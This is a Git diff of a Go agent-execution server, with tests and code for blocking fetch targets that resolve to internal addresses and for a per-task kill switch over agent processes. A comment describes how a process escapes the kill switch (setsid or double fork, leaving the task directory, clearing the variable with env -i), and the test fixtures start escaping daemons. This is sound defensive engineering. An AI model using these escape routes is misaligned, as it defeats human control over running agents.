return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
})
|
||||
err := ic.Decide(id, true, "ARTEX", "192.0.2.1")
|
||||
return result(t, waiting), err
|
||||
}
|
||||
pinsOf := func(host string) []*db.TargetPin {
|
||||
t.Helper()
|
||||
var out []*db.TargetPin
|
||||
for _, p := range pins(t, d, scope) {
|
||||
if p.Host == host {
|
||||
out = append(out, p)
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// A name that answers a clean and a blocked address.
|
||||
res.set("blocked.example.com", "203.0.113.7", "10.0.0.5")
|
||||
waited, err := approve("blocked.example.com")
|
||||
if !errors.Is(err, ErrTargetAddressBlocked) || !errors.Is(err, ErrAlreadyDecided) {
|
||||
t.Fatalf("approving a name that answers a blocked address: %v, want %v", err, ErrTargetAddressBlocked)
|
||||
}
|
||||
if p := pinsOf("blocked.example.com"); len(p) != 0 {
|
||||
t.Fatalf("pins = %+v, want none", p)
|
||||
}
|
||||
if waited.Code != TargetDenied {
|
||||
t.Fatalf("waiting call: %+v, want %s", waited, TargetDenied)
|
||||
}
|
||||
for _, open := range openRows(t, d, scope) {
|
||||
if row, _ := d.GetInterceptDetail(open); row != nil && row.Audit.Targets[0].Host == "blocked.example.com" {
|
||||
t.Fatalf("request %d is still open", open)
|
||||
}
|
||||
}
|
||||
// No other path reaches it: the next check asks by name again, and the
|
||||
// dial, with no pin, opens a request and connects nowhere.
|
||||
if reqs, out := ic.CheckTargets(ctx, scope, "WebFetch", fetchInput("http://blocked.example.com:"+port+"/")); out.Code != "" || len(reqs) != 1 || len(reqs[0].ResolvedIPs) != 0 {
|
||||
t.Fatalf("after the refusal: %+v %+v, want a request by name", reqs, out)
|
||||
}
|
||||
if _, err := PinnedDialer("WebFetch", true)(ctx, "tcp", "blocked.example.com:"+port); err == nil {
|
||||
t.Fatal("the dial of the refused name was opened")
|
||||
}
|
||||
if got := rec.calls(); len(got) != 0 || hits.Load() != 0 {
|
||||
t.Fatalf("dialled %v, %d hits; want nothing", got, hits.Load())
|
||||
}
|
||||
|
||||
// Control: a clean name pins what it answered and dials only that.
|
||||
res.set("clean.example.com", "203.0.113.8")
|
||||
if waited, err := approve("clean.example.com"); err != nil || waited.Code != "" {
|
||||
t.Fatalf("clean name: %+v, %v", waited, err)
|
||||
}
|
||||
if p := pinsOf("clean.example.com"); len(p) != 1 || !slices.Equal(p[0].PinnedIPs, []string{"203.0.113.8"}) {
|
||||
t.Fatalf("clean pins = %+v", p)
|
||||
}
|
||||
conn, err := PinnedDialer("WebFetch", true)(ctx, "tcp", "clean.example.com:"+port)
|
||||
if err != nil {
|
||||
t.Fatalf("clean dial: %v", err)
|
||||
}
|
||||
conn.Close()
|
||||
if got := rec.calls(); !slices.Equal(got, []string{"203.0.113.8:" + port}) {
|
||||
t.Fatalf("dialled %v, want the pinned address", got)
|
||||
}
|
||||
|
||||
// The clean name later answers a blocked address: the check, once the
|
||||
// cached answer runs out, and the dial, with a fresh lookup, both refuse.
|
||||
res.set("clean.example.com", "10.0.0.5")
|
||||
clock = clock.Add(resolveCacheTTL + time.Second)
|
||||
if _, out := ic.CheckTargets(ctx, scope, "WebFetch", fetchInput("http://clean.example.com:"+port+"/")); out.Code != TargetRuleBlocked {
|
||||
t.Fatalf("check after the rebind: %+v, want %s", out, TargetRuleBlocked)
|
||||
}
|
||||
_, err = PinnedDialer("WebFetch", true)(ctx, "tcp", "clean.example.com:"+port)
|
||||
if code, ok := IsTargetBlocked(err); !ok || code != TargetRuleBlocked {
|
||||
t.Fatalf("dial after the rebind: %v, want %s", err, TargetRuleBlocked)
|
||||
}
|
||||
if got := rec.calls(); len(got) != 1 || hits.Load() != 0 {
|
||||
t.Fatalf("dialled %v, %d requests; want only the clean dial", got, hits.Load())
|
||||
}
|
||||
}
|
||||
@@ -561,10 +561,8 @@ func TestDenyRuleWinsBeforeRenderedTarget(t *testing.T) {
|
||||
if code, body := g.do(t, "POST", fmt.Sprintf("/api/intercept/pending/%d/decide", id), `{"decision":"denied"}`); code != 200 {
|
||||
t.Fatalf("deny: %d %v", code, body)
|
||||
}
|
||||
// The rendered name is approved by nothing: it is requested by name and
|
||||
// denied without ever being looked up.
|
||||
if r := p.next(t); !strings.Contains(r, "TARGET_DENIED") || hits.Load() != 0 || res.lookups() != 0 {
|
||||
t.Fatalf("rendered target: %q, %d requests sent, %d lookups; want no lookup", r, hits.Load(), res.lookups())
|
||||
if r := p.next(t); !strings.Contains(r, "TARGET_DENIED") || hits.Load() != 0 || res.lookups() == 0 {
|
||||
t.Fatalf("rendered target: %q, %d requests sent, %d lookups", r, hits.Load(), res.lookups())
|
||||
}
|
||||
select {
|
||||
case <-done:
|
||||
|
||||
@@ -6,6 +6,8 @@ import (
|
||||
"os"
|
||||
"sort"
|
||||
"strings"
|
||||
|
||||
"github.com/Autumn-27/artex/agent"
|
||||
)
|
||||
|
||||
// Environment of the agent processes. When a process crosses from the server's
|
||||
@@ -23,8 +25,9 @@ import (
|
||||
// executorEnvNames are the server variables an agent process keeps: the search
|
||||
// path and locale, the temp directory, the non-interactive defaults Norma sets, the
|
||||
// proxy and CA trust variables the agents pass to their shells (agent.proxyEnv),
|
||||
// the browser location of the image (Dockerfile), and the shim's own non-secret
|
||||
// variables. HOME and XDG_CACHE_HOME are replaced by the executor's home.
|
||||
// the browser location of the image (Dockerfile), the shim's own non-secret
|
||||
// variables, and the task name the agents give their shells (agent.ExecTaskEnv).
|
||||
// HOME and XDG_CACHE_HOME are replaced by the executor's home.
|
||||
var executorEnvNames = nameSet(
|
||||
"PATH", "HOME", "XDG_CACHE_HOME",
|
||||
"LANG", "LANGUAGE", "TERM", "TZ", "TMPDIR",
|
||||
@@ -37,6 +40,7 @@ var executorEnvNames = nameSet(
|
||||
"SSL_CERT_FILE", "CURL_CA_BUNDLE", "REQUESTS_CA_BUNDLE", "GIT_SSL_CAINFO", "NODE_EXTRA_CA_CERTS",
|
||||
"PLAYWRIGHT_BROWSERS_PATH",
|
||||
envExecBash, envExecUID, envExecGID, envExecHome,
|
||||
agent.ExecTaskEnv,
|
||||
)
|
||||
|
||||
func nameSet(names ...string) map[string]bool {
|
||||
|
||||
@@ -0,0 +1,194 @@
|
||||
//go:build linux
|
||||
|
||||
package server
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"slices"
|
||||
"strconv"
|
||||
"syscall"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/Autumn-27/artex/agent"
|
||||
)
|
||||
|
||||
// TestSelectTaskProcsKeepsOtherTasks checks the task scoping of the local kill
|
||||
// switch on a fixed process table: every task runs as the executor uid, and
|
||||
// pausing task 1 must select task 1's processes only, never task 10's, a
|
||||
// process the server did not start, or a shared process such as the browser.
|
||||
func TestSelectTaskProcsKeepsOtherTasks(t *testing.T) {
|
||||
exe := []int{10001, 10001, 10001, 10001}
|
||||
root := []int{0, 0, 0, 0}
|
||||
procs := []procEntry{
|
||||
{pid: 100, ppid: 1, pgrp: 100, stat: "S", uids: root, cwd: "/data"}, // the server
|
||||
{pid: 200, ppid: 100, pgrp: 200, stat: "S", uids: exe, cwd: "/data/tasks/1/main"},
|
||||
{pid: 201, ppid: 200, pgrp: 200, stat: "S", uids: exe, cwd: "/tmp"}, // task 1 child that left the directory
|
||||
{pid: 202, ppid: 100, pgrp: 202, stat: "S", uids: exe, cwd: "/", task: "1"}, // task 1 daemon: setsid, reparented, cd /
|
||||
{pid: 203, ppid: 200, pgrp: 200, stat: "Z", uids: exe, cwd: "/data/tasks/1/main"}, // zombie
|
||||
{pid: 204, ppid: 100, pgrp: 204, stat: "S", uids: root, cwd: "/data/tasks/1/main"}, // server identity
|
||||
{pid: 300, ppid: 100, pgrp: 300, stat: "S", uids: exe, cwd: "/data/tasks/10/main"},
|
||||
{pid: 301, ppid: 300, pgrp: 300, stat: "S", uids: exe, cwd: "/data/tasks/1/i4"}, // task 10 child inside task 1's directory
|
||||
{pid: 302, ppid: 100, pgrp: 200, stat: "S", uids: exe, cwd: "/data/tasks/10/i2", task: "10"}, // task 10 process in task 1's group
|
||||
{pid: 303, ppid: 100, pgrp: 303, stat: "S", uids: exe, cwd: "/data/tasks/1/main", task: "10"}, // task 10 daemon inside task 1's directory
|
||||
{pid: 400, ppid: 1, pgrp: 400, stat: "S", uids: exe, cwd: "/data/tasks/1/main"}, // not started by the server
|
||||
{pid: 401, ppid: 1, pgrp: 401, stat: "S", uids: exe, cwd: "/tmp"},
|
||||
{pid: 500, ppid: 100, pgrp: 500, stat: "S", uids: exe, cwd: "/data"}, // shared browser
|
||||
}
|
||||
priv := ExecPrivilege{Enabled: true, UID: 10001, GID: 10001}
|
||||
cases := []struct {
|
||||
name string
|
||||
taskDir string
|
||||
priv ExecPrivilege
|
||||
pids, grps []int
|
||||
}{
|
||||
{"task1_executor", "/data/tasks/1", priv, []int{200, 201, 202}, []int{202}},
|
||||
{"task1_server_identity", "/data/tasks/1", ExecPrivilege{}, []int{200, 201, 202, 204}, []int{202, 204}},
|
||||
{"task10_executor", "/data/tasks/10", priv, []int{300, 301, 302, 303}, []int{300, 303}},
|
||||
{"no_task_dir", "", priv, nil, nil},
|
||||
}
|
||||
for _, tc := range cases {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
pids, grps := selectTaskProcs(procs, 100, 100, tc.taskDir, tc.priv)
|
||||
slices.Sort(pids)
|
||||
slices.Sort(grps)
|
||||
if !slices.Equal(pids, tc.pids) || !slices.Equal(grps, tc.grps) {
|
||||
t.Fatalf("selectTaskProcs(%q) = pids %v groups %v, want pids %v groups %v", tc.taskDir, pids, grps, tc.pids, tc.grps)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// scopeFixture runs real processes for two tasks (1 and 10) and a neutral one
|
||||
// under a data directory, as the engine's agent runs would.
|
||||
type scopeFixture struct {
|
||||
dataDir string
|
||||
own []int // task 1
|
||||
others []int // task 10 and the neutral process
|
||||
}
|
||||
|
||||
func startScopeFixture(t *testing.T) *scopeFixture {
|
||||
t.Helper()
|
||||
enableLocalKillSubreaper() // as NewEngine does: escaped daemons stay our descendants
|
||||
f := &scopeFixture{dataDir: t.TempDir()}
|
||||
dirA := filepath.Join(f.dataDir, "tasks", "1", "main")
|
||||
dirB := filepath.Join(f.dataDir, "tasks", "10", "main")
|
||||
neutral := t.TempDir()
|
||||
for _, d := range []string{dirA, dirB} {
|
||||
if err := os.MkdirAll(d, 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
var all []int
|
||||
t.Cleanup(func() {
|
||||
for _, pid := range all {
|
||||
_ = syscall.Kill(pid, syscall.SIGKILL)
|
||||
}
|
||||
})
|
||||
start := func(dir, task, script string) int {
|
||||
cmd := exec.Command("sh", "-c", script)
|
||||
cmd.Dir = dir
|
||||
cmd.Env = os.Environ()
|
||||
if task != "" {
|
||||
cmd.Env = append(cmd.Env, agent.ExecTaskEnv+"="+task)
|
||||
}
|
||||
cmd.SysProcAttr = &syscall.SysProcAttr{Setpgid: true}
|
||||
if err := cmd.Start(); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
all = append(all, cmd.Process.Pid)
|
||||
go func() { _ = cmd.Wait() }()
|
||||
return cmd.Process.Pid
|
||||
}
|
||||
// startDaemon runs script, which writes the pid of a background process to a
|
||||
// file and exits, and returns that pid.
|
||||
startDaemon := func(dir, task, script string) int {
|
||||
pidFile := filepath.Join(t.TempDir(), "pid")
|
||||
start(dir, task, fmt.Sprintf(script, pidFile))
|
||||
pid := waitForPIDs(t, pidFile, 1, 5*time.Second)[0]
|
||||
all = append(all, pid)
|
||||
return pid
|
||||
}
|
||||
|
||||
// Task 1: a command in its run directory, a shell that left it with its child,
|
||||
// and a setsid daemon that left it after its parent exited.
|
||||
f.own = append(f.own, start(dirA, "", "exec sleep 300"))
|
||||
pidFile := filepath.Join(t.TempDir(), "pid")
|
||||
f.own = append(f.own, start(dirA, "1", fmt.Sprintf("cd /; sleep 300 & echo $! > %q; wait", pidFile)))
|
||||
f.own = append(f.own, waitForPIDs(t, pidFile, 1, 5*time.Second)[0])
|
||||
f.own = append(f.own, startDaemon(dirA, "1", "cd /; setsid sleep 300 </dev/null >/dev/null 2>&1 & echo $! > %q"))
|
||||
|
||||
// Task 10: a command in its run directory, one that moved into task 1's run
|
||||
// directory, and a daemon there. The neutral process stands for a process of
|
||||
// the server that belongs to no task (the shared browser, a chat session).
|
||||
f.others = append(f.others, start(dirB, "10", "exec sleep 300"))
|
||||
f.others = append(f.others, start(dirB, "10", fmt.Sprintf("cd %q; exec sleep 300", dirA)))
|
||||
f.others = append(f.others, startDaemon(dirB, "10", "cd "+strconv.Quote(dirA)+"; setsid sleep 300 </dev/null >/dev/null 2>&1 & echo $! > %q"))
|
||||
f.others = append(f.others, start(neutral, "", "exec sleep 300"))
|
||||
|
||||
time.Sleep(100 * time.Millisecond) // let the shells reach their cd and exec
|
||||
return f
|
||||
}
|
||||
|
||||
// TestFindLocalTaskPIDsSelectsOnlyItsTask runs real processes for two tasks and
|
||||
// a neutral process and checks that the scan for task 1 finds all of task 1's
|
||||
// processes and none of the others, with the privilege drop off and on.
|
||||
func TestFindLocalTaskPIDsSelectsOnlyItsTask(t *testing.T) {
|
||||
for _, tc := range []struct {
|
||||
name string
|
||||
priv func(t *testing.T) ExecPrivilege
|
||||
}{
|
||||
{"server_identity", func(*testing.T) ExecPrivilege { return ExecPrivilege{} }},
|
||||
{"executor_uid", func(t *testing.T) ExecPrivilege {
|
||||
if os.Getuid() == 0 {
|
||||
t.Skip("needs a non-root uid to stand for the executor uid; TestSelectTaskProcsKeepsOtherTasks covers the uid filter")
|
||||
}
|
||||
return ExecPrivilege{Enabled: true, UID: uint32(os.Getuid()), GID: uint32(os.Getgid())}
|
||||
}},
|
||||
} {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
priv := tc.priv(t)
|
||||
f := startScopeFixture(t)
|
||||
got := findLocalTaskPIDs(filepath.Join(f.dataDir, "tasks", "1"), priv)
|
||||
for _, pid := range f.own {
|
||||
if !slices.Contains(got, pid) {
|
||||
t.Errorf("task 1 process %d not selected (selected %v)", pid, got)
|
||||
}
|
||||
}
|
||||
for _, pid := range f.others {
|
||||
if slices.Contains(got, pid) {
|
||||
t.Errorf("process %d of another task or of no task selected for task 1 (selected %v)", pid, got)
|
||||
}
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// TestEnginePauseAndDeleteKillOnlyTheirTask pauses (and, separately, starts the
|
||||
// deletion of) task 1 through the engine and checks that task 1's processes die
|
||||
// while task 10's processes and the neutral process keep running.
|
||||
func TestEnginePauseAndDeleteKillOnlyTheirTask(t *testing.T) {
|
||||
for _, tc := range []struct {
|
||||
name string
|
||||
stop func(e *Engine)
|
||||
}{
|
||||
{"pause", func(e *Engine) { e.Pause("1", agent.AbortPausedByUser) }},
|
||||
{"delete", func(e *Engine) { e.BeginDelete("1") }},
|
||||
} {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
f := startScopeFixture(t)
|
||||
e := NewEngine(nil)
|
||||
e.SetKillSwitchConfig(f.dataDir, ExecPrivilege{})
|
||||
tc.stop(e)
|
||||
assertAllPIDsDeadWithin(t, f.own, 5*time.Second)
|
||||
for _, pid := range f.others {
|
||||
if !pidAlive(pid) {
|
||||
t.Errorf("process %d of another task or of no task was killed by the %s of task 1", pid, tc.name)
|
||||
}
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
+135
-65
@@ -11,6 +11,8 @@ import (
|
||||
"strings"
|
||||
"syscall"
|
||||
"time"
|
||||
|
||||
"github.com/Autumn-27/artex/agent"
|
||||
)
|
||||
|
||||
type procEntry struct {
|
||||
@@ -19,6 +21,8 @@ type procEntry struct {
|
||||
pgrp int
|
||||
stat string
|
||||
uids []int
|
||||
cwd string // working directory, "" when unreadable
|
||||
task string // value of agent.ExecTaskEnv in the start environment, or ""
|
||||
}
|
||||
|
||||
func readProcTable() []procEntry {
|
||||
@@ -58,6 +62,17 @@ func readProcTable() []procEntry {
|
||||
continue
|
||||
}
|
||||
pe := procEntry{pid: pid, ppid: ppid, pgrp: pgrp, stat: fields[0]}
|
||||
if cwd, err := os.Readlink(filepath.Join("/proc", name, "cwd")); err == nil {
|
||||
pe.cwd = cwd
|
||||
}
|
||||
if envRaw, err := os.ReadFile(filepath.Join("/proc", name, "environ")); err == nil {
|
||||
for _, kv := range strings.Split(string(envRaw), "\x00") {
|
||||
if v, ok := strings.CutPrefix(kv, agent.ExecTaskEnv+"="); ok {
|
||||
pe.task = v
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
if statusRaw, err := os.ReadFile(filepath.Join("/proc", name, "status")); err == nil {
|
||||
for _, line := range strings.Split(string(statusRaw), "\n") {
|
||||
if strings.HasPrefix(line, "Uid:") {
|
||||
@@ -92,96 +107,145 @@ func (p procEntry) hasUID(uid int) bool {
|
||||
// Wait4 on direct children; process liveness checks ignore Z/X zombie states.
|
||||
func reapDirectChildren() {}
|
||||
|
||||
// findLocalTaskPIDs scans /proc without trusting any agent-writable state.
|
||||
// When priv.Enabled (isolated executor UID), every non-zombie process owning
|
||||
// priv.UID is returned (cannot be escaped via setsid, nohup, env -i, or double-fork).
|
||||
// When !priv.Enabled (dev/test mode with PR_SET_CHILD_SUBREAPER), every descendant
|
||||
// of os.Getpid() whose process group differs from os.Getpgrp() (covering Norma's
|
||||
// Setpgid shells, setsid/nohup children, and reparented double-fork daemons) is returned.
|
||||
// findLocalTaskPIDs returns the live processes of the task whose directory is
|
||||
// taskDir (see selectTaskProcs), read from /proc.
|
||||
func findLocalTaskPIDs(taskDir string, priv ExecPrivilege) []int {
|
||||
self := os.Getpid()
|
||||
selfPGID := syscall.Getpgrp()
|
||||
procs := readProcTable()
|
||||
if len(procs) == 0 {
|
||||
return nil
|
||||
}
|
||||
pids, _ := findLocalTaskProcs(taskDir, priv)
|
||||
return pids
|
||||
}
|
||||
|
||||
if priv.Enabled && priv.UID > 0 {
|
||||
var matched []int
|
||||
for _, p := range procs {
|
||||
if p.pid == self || p.isZombie() {
|
||||
continue
|
||||
}
|
||||
if p.hasUID(int(priv.UID)) {
|
||||
matched = append(matched, p.pid)
|
||||
}
|
||||
// findLocalTaskProcs is findLocalTaskPIDs plus the process groups that hold only
|
||||
// processes of the task, both taken from one /proc snapshot.
|
||||
func findLocalTaskProcs(taskDir string, priv ExecPrivilege) (pids, groups []int) {
|
||||
dir := resolveTaskDir(taskDir)
|
||||
if dir == "" {
|
||||
return nil, nil
|
||||
}
|
||||
return selectTaskProcs(readProcTable(), os.Getpid(), syscall.Getpgrp(), dir, priv)
|
||||
}
|
||||
|
||||
// resolveTaskDir returns taskDir as an absolute path with symlinks resolved, the
|
||||
// form the kernel reports in /proc/<pid>/cwd, or "" for no task directory.
|
||||
func resolveTaskDir(taskDir string) string {
|
||||
if strings.TrimSpace(taskDir) == "" {
|
||||
return ""
|
||||
}
|
||||
abs, err := filepath.Abs(taskDir)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
if real, err := filepath.EvalSymlinks(abs); err == nil {
|
||||
return real
|
||||
}
|
||||
return abs
|
||||
}
|
||||
|
||||
// selectTaskProcs picks the processes of one task from a process table. In
|
||||
// local mode every task runs as the same executor uid, so the uid alone cannot
|
||||
// tell the tasks apart. Walking down from the server, the first process that
|
||||
// names a task decides the owner of its whole subtree: its agent.ExecTaskEnv
|
||||
// variable, which the planner and the worker put in the environment of every
|
||||
// Bash they start, or else the task directory that holds its working directory
|
||||
// (every agent run starts in tasks/<id>/main or tasks/<id>/i<N>). Descendants
|
||||
// keep that owner wherever they move: a child of task A that changes into task
|
||||
// B's directory stays A's. A process can only rename its own subtree this way,
|
||||
// never another task's. Only descendants of self, the server, are considered:
|
||||
// the engine makes the server a child subreaper, so a task process that escaped
|
||||
// with setsid, nohup or a double fork is reparented to it and stays in the
|
||||
// walk, and a process the server did not start is never selected. When priv is
|
||||
// enabled, only processes running as the executor uid are selected, as before.
|
||||
//
|
||||
// groups lists the process groups (other than selfPGID) whose every live member
|
||||
// is selected: signalling such a group reaches no process of another task, even
|
||||
// one that joined a group of this task.
|
||||
//
|
||||
// Known limit: a process that lost its task ancestor (reparented to the server
|
||||
// after setsid or a double fork), left the task directory and cleared the
|
||||
// variable (env -i) is not found: nothing it cannot change ties it to a task.
|
||||
func selectTaskProcs(procs []procEntry, self, selfPGID int, taskDir string, priv ExecPrivilege) (pids, groups []int) {
|
||||
if taskDir == "" {
|
||||
return nil, nil
|
||||
}
|
||||
taskID := filepath.Base(taskDir)
|
||||
tasksRoot := filepath.Dir(taskDir) + string(filepath.Separator)
|
||||
// taskOf returns the task a process names, or "".
|
||||
taskOf := func(p procEntry) string {
|
||||
if p.task != "" {
|
||||
return p.task
|
||||
}
|
||||
return matched
|
||||
rest, ok := strings.CutPrefix(p.cwd, tasksRoot)
|
||||
if !ok {
|
||||
return ""
|
||||
}
|
||||
id, _, _ := strings.Cut(rest, string(filepath.Separator))
|
||||
return id
|
||||
}
|
||||
|
||||
children := make(map[int][]procEntry, len(procs))
|
||||
for _, p := range procs {
|
||||
children[p.ppid] = append(children[p.ppid], p)
|
||||
}
|
||||
|
||||
cleanTaskDir := ""
|
||||
if strings.TrimSpace(taskDir) != "" {
|
||||
if abs, err := filepath.Abs(taskDir); err == nil {
|
||||
cleanTaskDir = abs
|
||||
}
|
||||
}
|
||||
var matched []int
|
||||
selected := map[int]bool{}
|
||||
seen := map[int]bool{}
|
||||
var walk func(parent int, inheritedMatch bool)
|
||||
walk = func(parent int, inheritedMatch bool) {
|
||||
var walk func(parent int, owner string)
|
||||
walk = func(parent int, owner string) {
|
||||
for _, ch := range children[parent] {
|
||||
if ch.pid == self || seen[ch.pid] {
|
||||
continue
|
||||
}
|
||||
seen[ch.pid] = true
|
||||
inTask := inheritedMatch || ch.pgrp != selfPGID
|
||||
if !inTask && cleanTaskDir != "" {
|
||||
if cwd, err := os.Readlink(filepath.Join("/proc", strconv.Itoa(ch.pid), "cwd")); err == nil {
|
||||
if cwd == cleanTaskDir || strings.HasPrefix(cwd, cleanTaskDir+string(filepath.Separator)) {
|
||||
inTask = true
|
||||
}
|
||||
}
|
||||
own := owner
|
||||
if own == "" {
|
||||
own = taskOf(ch)
|
||||
}
|
||||
if inTask && !ch.isZombie() {
|
||||
matched = append(matched, ch.pid)
|
||||
if own == taskID && !ch.isZombie() && (!priv.Enabled || ch.hasUID(int(priv.UID))) {
|
||||
selected[ch.pid] = true
|
||||
pids = append(pids, ch.pid)
|
||||
}
|
||||
walk(ch.pid, inTask)
|
||||
walk(ch.pid, own)
|
||||
}
|
||||
}
|
||||
walk(self, false)
|
||||
return matched
|
||||
walk(self, "")
|
||||
|
||||
// A group is whole while every live member seen so far is selected.
|
||||
whole := map[int]bool{}
|
||||
for _, p := range procs {
|
||||
if p.pgrp <= 1 || p.pgrp == selfPGID || p.isZombie() {
|
||||
continue
|
||||
}
|
||||
if ok, known := whole[p.pgrp]; !known || ok {
|
||||
whole[p.pgrp] = selected[p.pid]
|
||||
}
|
||||
}
|
||||
added := map[int]bool{}
|
||||
for _, p := range procs {
|
||||
if selected[p.pid] && whole[p.pgrp] && !added[p.pgrp] {
|
||||
added[p.pgrp] = true
|
||||
groups = append(groups, p.pgrp)
|
||||
}
|
||||
}
|
||||
return pids, groups
|
||||
}
|
||||
|
||||
// KillLocalTaskProcesses terminates all live local processes belonging to a task
|
||||
// (including setsid, nohup, and nested double-fork daemons) using /proc directly
|
||||
// without trusting any agent-writable state. Sends SIGTERM, polls up to 2s, then
|
||||
// loops SIGKILL until none remain (well within the 5s pause SLA).
|
||||
// KillLocalTaskProcesses terminates the live local processes of one task
|
||||
// (including its setsid, nohup and nested double-fork daemons, see
|
||||
// selectTaskProcs) using /proc directly, and leaves the processes of other tasks
|
||||
// alone. Sends SIGTERM, polls up to 2s, then loops SIGKILL until none remain
|
||||
// (well within the 5s pause SLA).
|
||||
func KillLocalTaskProcesses(taskDir string, priv ExecPrivilege) error {
|
||||
if runtime.GOOS != "linux" {
|
||||
return nil
|
||||
}
|
||||
selfPGID := syscall.Getpgrp()
|
||||
// Sweep once immediately, and if nothing matched yet, wait briefly for
|
||||
// cancelExec to trigger child reparenting before declaring clean.
|
||||
pids := findLocalTaskPIDs(taskDir, priv)
|
||||
pids, groups := findLocalTaskProcs(taskDir, priv)
|
||||
if len(pids) == 0 {
|
||||
time.Sleep(40 * time.Millisecond)
|
||||
pids = findLocalTaskPIDs(taskDir, priv)
|
||||
pids, groups = findLocalTaskProcs(taskDir, priv)
|
||||
if len(pids) == 0 {
|
||||
return nil
|
||||
}
|
||||
}
|
||||
for _, pid := range pids {
|
||||
if pgid, err := syscall.Getpgid(pid); err == nil && pgid > 1 && pgid != selfPGID {
|
||||
_ = syscall.Kill(-pgid, syscall.SIGTERM)
|
||||
}
|
||||
_ = syscall.Kill(pid, syscall.SIGTERM)
|
||||
}
|
||||
signalTaskProcs(pids, groups, syscall.SIGTERM)
|
||||
|
||||
deadline := time.Now().Add(2 * time.Second)
|
||||
for time.Now().Before(deadline) {
|
||||
@@ -193,16 +257,11 @@ func KillLocalTaskProcesses(taskDir string, priv ExecPrivilege) error {
|
||||
}
|
||||
|
||||
for round := 0; round < 15; round++ {
|
||||
rem := findLocalTaskPIDs(taskDir, priv)
|
||||
rem, remGroups := findLocalTaskProcs(taskDir, priv)
|
||||
if len(rem) == 0 {
|
||||
return nil
|
||||
}
|
||||
for _, pid := range rem {
|
||||
if pgid, err := syscall.Getpgid(pid); err == nil && pgid > 1 && pgid != selfPGID {
|
||||
_ = syscall.Kill(-pgid, syscall.SIGKILL)
|
||||
}
|
||||
_ = syscall.Kill(pid, syscall.SIGKILL)
|
||||
}
|
||||
signalTaskProcs(rem, remGroups, syscall.SIGKILL)
|
||||
time.Sleep(30 * time.Millisecond)
|
||||
reapDirectChildren()
|
||||
}
|
||||
@@ -211,3 +270,14 @@ func KillLocalTaskProcesses(taskDir string, priv ExecPrivilege) error {
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// signalTaskProcs sends sig to each whole task process group, which also
|
||||
// reaches members forked since the scan, and to each selected process.
|
||||
func signalTaskProcs(pids, groups []int, sig syscall.Signal) {
|
||||
for _, pgid := range groups {
|
||||
_ = syscall.Kill(-pgid, sig)
|
||||
}
|
||||
for _, pid := range pids {
|
||||
_ = syscall.Kill(pid, sig)
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user